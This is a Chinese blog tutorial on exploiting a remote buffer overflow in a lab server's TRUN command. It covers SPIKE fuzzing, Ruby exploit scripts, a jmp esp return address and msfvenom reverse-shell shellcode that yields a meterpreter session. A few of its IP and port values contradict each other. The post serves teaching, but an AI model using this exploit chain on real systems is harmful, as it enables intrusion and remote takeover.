远程缓冲区溢出简单分析
模糊测试(Fuzzing)
,是用于漏洞挖掘
的探测工作,主要用于发现
那些函数存在漏洞
,通过向目标系统提供非预期的输入
并监视异常结果来发现软件漏洞的方法,其原理主要是通过输入
大量数据,发现程序中存在的问题
.可以通过使程序某些内容溢出出现异常,或者输入的是程序规定的范围内的数据结果出现异常,从而找出程序的bug.
执行模糊测试
尽管当今有许多模糊测试工具可以使用,但是在Kali Linux
系统中默认集成了SPIKE
,从技术上讲SPIKE实际上是一个模糊器
创建工具包,它提供了API
允许用户使用C语言基于网络的协议来创建自己的fuzzer,该工具可以通过编写脚本
的方式进行测试任务,而无须自行编写上百行的测试代码.
创建测试脚本: 在测试之前,首先我们先来创建一个测试脚本,该脚本命名为lyshark.spk
,脚本的内容如下.
root@kali:~# vim lyshark.spk
s_readline(); # 接收第一行的数据
s_string("stats |"); # 向目标发送字串开头
s_string_variable("A"); # 发送的主体字符串
测试STATS函数: 我们使用generic_send_tcp
进行测试,测试服务器程序中stats
函数是否存在漏洞,其命令如下:
root@kali:~# generic_send_tcp 192.168.1.10 9999 lyshark.spk 0 0
Fuzzing Variable 0:1198
line read=
Fuzzing Variable 0:1199
line read=
Fuzzing Variable 0:1200
line read=
Fuzzing Variable 0:1201
line read=
Fuzzing Variable 0:1202
line read=
Fuzzing Variable 0:1203
^C
root@kali:~#
经过上面的测试后,发现服务器程序并没有崩溃,只是出现了一些错误日志,则说明stats
函数不存在远程溢出漏洞,接着我们修改测试代码,并继续测试.
修改测试脚本: 我们接着打开lyshark.spk
这个测试脚本,修改测试函数,这里改为trun
即可.
root@kali:~# vim lyshark.spk
s_readline(); # 接收第一行的数据
s_string("trun |"); # 向目标发送字串开头
s_string_variable("A"); # 发送的主体字符串
测试TRUN函数: 我们使用generic_send_tcp
进行测试,测试服务器程序中trun
函数是否存在漏洞,其命令如下:
root@kali:~# generic_send_tcp 192.168.1.10 9999 lyshark.spk 0 0
Fuzzing Variable 0:1198
line read=
Fuzzing Variable 0:1199
line read=
Fuzzing Variable 0:1200
line read=
Fuzzing Variable 0:1201
line read=
Fuzzing Variable 0:1202
line read=
Fuzzing Variable error
^C
root@kali:~#
经过上面的模糊测试,你会发现服务器端崩溃了
,我们的服务器在应对二进制字符串
时表现异常,其实这就是一个典型的远程缓冲区溢出
漏洞,之所以会崩溃的原因是因为缓冲区没有进行合理的边界检测
,从而超出了缓冲区的容量,恶意的字符串覆盖了EIP
指针,导致服务器不知道下一跳去哪里取指令,从而崩溃了.
控制EIP指针
在上面的模糊测试环节,我们已经清楚的知道路目标服务器的,trun函数
存在远程缓冲区溢出漏洞
,接下来
我们就来测试一下目标缓冲区的大小
,这也是控制EIP
指针的前提条件,现在我们需要具体的知道使用多少个字节才能够不多不少
的覆盖掉程序中EIP寄存器,首先先来创建一个Ruby脚本,来完成远程对缓冲区的填充,这里Ruby的代码如下.
root@kali:~# vim lyshark.rb
require 'socket'
host = '192.168.1.10'
port = 9999
sock = TCPSocket.open(host, port)
command = "trun |" # 指定要测试的函数
header = "/.:/" # 数据包发送固定写法
buf = "A" * 2000 # 生成2000个A(猜测)
eip = "BBBB" # 暂且填充为BBBB
nops = "\x90" * 20 # 填充20个nop指令
sock.gets() # 获取服务端返回的字符串
sock.puts( command+header+buf+eip+nops ) # 开始发送2000个A
sock.close
root@kali:~# ruby lyshark.rb
上面的代码主要作用是,生成2000个A
,在Kali上运行代码后,发现服务器崩溃了,崩溃事件中还提供了具体的EIP地址,这说明脚本正常工作了.
接下来我们在服务器上,使用x64dbg调试器
附加到MyServer.exe
这个服务程序的进程上,并在调试器附加的基础上,再次执行lyshark.rb
这个脚本.
当脚本运行后,不出所料程序再次崩溃
,这里我们主要关心崩溃后的堆栈情况,下图可发现EIP指针为90904242
,也就是说当前EIP一半在nop雪橇上另一半在AA上,由此我们可以猜测此时我们填充少了.
通过上面的EIP覆盖情况,发现填充物少填充了2个字符,接着我们修改攻击脚本
,将填充物改大一些,这次我们改成2002
,也就是说向远程堆栈内填充2002个A
,重新运行服务器上的服务,并再次运行
攻击脚本.
require 'socket'
host = '192.168.1.10'
port = 9999
sock = TCPSocket.open(host, port)
command = "trun |" # 指定要测试的函数
header = "/.:/" # 数据包发送固定写法
buf = "A" * 2002 # 生成2002个A
eip = "BBBB" # 方便区分
nops = "\x90" * 50
sock.gets()
sock.puts( command+header+buf+eip+nops ) # 发送2002个A
sock.close
root@kali:~# ruby lyshark.rb
当攻击脚本运行后,我们查看一下EIP指针的位置,你会发现此时的EIP地址已经指向了42424242
,也就是我们脚本中填充的eip = "BBBB"
,由此可得出填充物的大小刚好为2002
个A,在下图的堆栈区域中,也可以清晰地看到我们填充的AAAA
与nop雪橇
的分界线.
构建漏洞攻击过程
在上面的环节中我们已经确定了
填充物的大小
,但细心的你会发现程序每次运行其栈地址
都是随机变化
的,在Windows漏洞利用
过程中,由于动态链接库
的装入和卸载等原因,Windows进程的函数栈帧可能产生移位
,即ShellCode
在内存中的地址是动态变化
的,因此需要Exploit(漏洞利用代码)
在运行时动态定位栈中的ShellCode
地址.
我们第一步就是寻找一个跳板,能够动态的定位栈地址的位置,在这里我们使用jmp esp
作为跳板指针,其基本思路
就是,使用内存中任意一个jmp esp
的地址覆盖返回
地址,函数返回后被重定向
去执行内存中jmp esp
指令,而esp寄存器
的地址正好是我们布置好的nop雪橇
的位置,此时EIP指针
就会顺着nop雪橇
滑向我们构建好的恶意代码,从而触发我们预先布置好的ShellCode代码.
选择模块: 首先通过x64dbg调试器
附加服务程序,然后选择符号菜单,这里我找到了kernelbase.dll
这个外部模块,模块的选择是随机的,只要模块内部存在jmp esp
指令就可以利用.
搜索跳板: 接着搜索该模块中的jmp esp
指令,因为这个指令地址是固定的,我们就将EIP指针
跳转到这里,又因esp寄存器存储着当前的栈地址,所以刚好跳转到我们布置好的nop雪橇的位置上.
在x64dbg调试器
的反汇编界面中,按下ctrl + f
搜索,并记录下这个搜寻到的地址0x77433f73
,其实这里随便一个只要是jmp esp 指令
的都可以,我们将其作为EIP的跳转地址.
生成漏洞利用代码
当然可以从零开始构建漏洞攻击所使用的ShellCode但这需要你具备汇编的编程能力,不过庆幸的是Metaspoloit在这方面可以为我们做很多,我们可以通过MSF提供的msfvenom命令
快速的生成一个有效载荷.
root@kali:~# msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp \
> -b '\x00\x0b' LHOST=192.168.1.2 LPORT=9999 -f ruby
Found 11 compatible encoders
Payload size: 368 bytes
Final size of ruby file: 1612 bytes
buf =
"\xba\x94\x23\x08\x8e\xdb\xd1\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x56\x31\x56\x13\x03\x56\x13\x83\xee\x68\xc1\xfd\x72" +
"\x78\x84\xfe\x8a\x78\xe9\x77\x6f\x49\x29\xe3\xfb\xf9\x99" +
最后在msf控制主机,启动一个侦听器,等待我们的攻击脚本运行。
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > set lhost 192.168.1.10
lhost => 192.168.1.10
msf5 exploit(multi/handler) > set lport 9999
lport => 8888
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.10:9999
经过上面的步骤我们已经构建出了漏洞利用代码,此时我们运行构建好的攻击代码。
require 'socket'
host = '192.168.1.10'
port = 9999
sock = TCPSocket.open(host, port)
command = "trun |" #数据包包头写法
header = "/.:/" #数据包发送固定写法
buf = "A" * 2002 #2002个字节刚好填充满
eip = "\x73\x3f\x43\x77" #EIP=77433F73 将该地址反写
nops = "\x90" * 20 #此处是nop雪橇填充的20个字节
shellcode =
"\xd9\xf7\xd9\x74\x24\xf4\x5a\xbb\xc8\xbb\x47\x96\x29\xc9" +
"\xb1\x56\x31\x5a\x18\x83\xc2\x04\x03\x5a\xdc\x59\xb2\x6a" +
"\x34\x1f\x3d\x93\xc4\x40\xb7\x76\xf5\x40\xa3\xf3\xa5\x70" +
"\xa7\x56\x49\xfa\xe5\x42\xda\x8e\x21\x64\x6b\x24\x14\x4b" +
"\x6c\x15\x64\xca\xee\x64\xb9\x2c\xcf\xa6\xcc\x2d\x08\xda" +
"\x3d\x7f\xc1\x90\x90\x90\x66\xec\x28\x1a\x34\xe0\x28\xff" +
"\x8c\x03\x18\xae\x87\x5d\xba\x50\x44\xd6\xf3\x4a\x89\xd3" +
"\x4a\xe0\x79\xaf\x4c\x20\xb0\x50\xe2\x0d\x7d\xa3\xfa\x4a" +
"\xb9\x5c\x89\xa2\xba\xe1\x8a\x70\xc1\x3d\x1e\x63\x61\xb5" +
"\xb8\x4f\x90\x1a\x5e\x1b\x9e\xd7\x14\x43\x82\xe6\xf9\xff" +
"\xbe\x63\xfc\x2f\x37\x37\xdb\xeb\x1c\xe3\x42\xad\xf8\x42" +
"\x7a\xad\xa3\x3b\xde\xa5\x49\x2f\x53\xe4\x05\x9c\x5e\x17" +
"\x71\xe3\xf6\xf7"
sock.gets()
sock.puts( command+header+buf+eip+nops+shellcode )
sock.close
查看攻击主机,即可看到一个反向连接shell,此时我们可以远程执行任意命令。
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.10:9999
[*] Sending stage (179779 bytes) to 192.168.1.10
[*] Meterpreter session 1 opened (192.168.1.10:9999 -> 192.168.1.2:9900) at 2019-03-27
meterpreter > sysinfo
Computer : web-server
OS : Windows Server2008.
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 用 C# 插值字符串处理器写一个 sscanf
· Java 中堆内存和栈内存上的数据分布和特点
· 开发中对象命名的一点思考
· .NET Core内存结构体系(Windows环境)底层原理浅谈
· C# 深度学习:对抗生成网络(GAN)训练头像生成模型
· 手把手教你更优雅的享受 DeepSeek
· AI工具推荐:领先的开源 AI 代码助手——Continue
· 探秘Transformer系列之(2)---总体架构
· V-Control:一个基于 .NET MAUI 的开箱即用的UI组件库
· 乌龟冬眠箱湿度监控系统和AI辅助建议功能的实现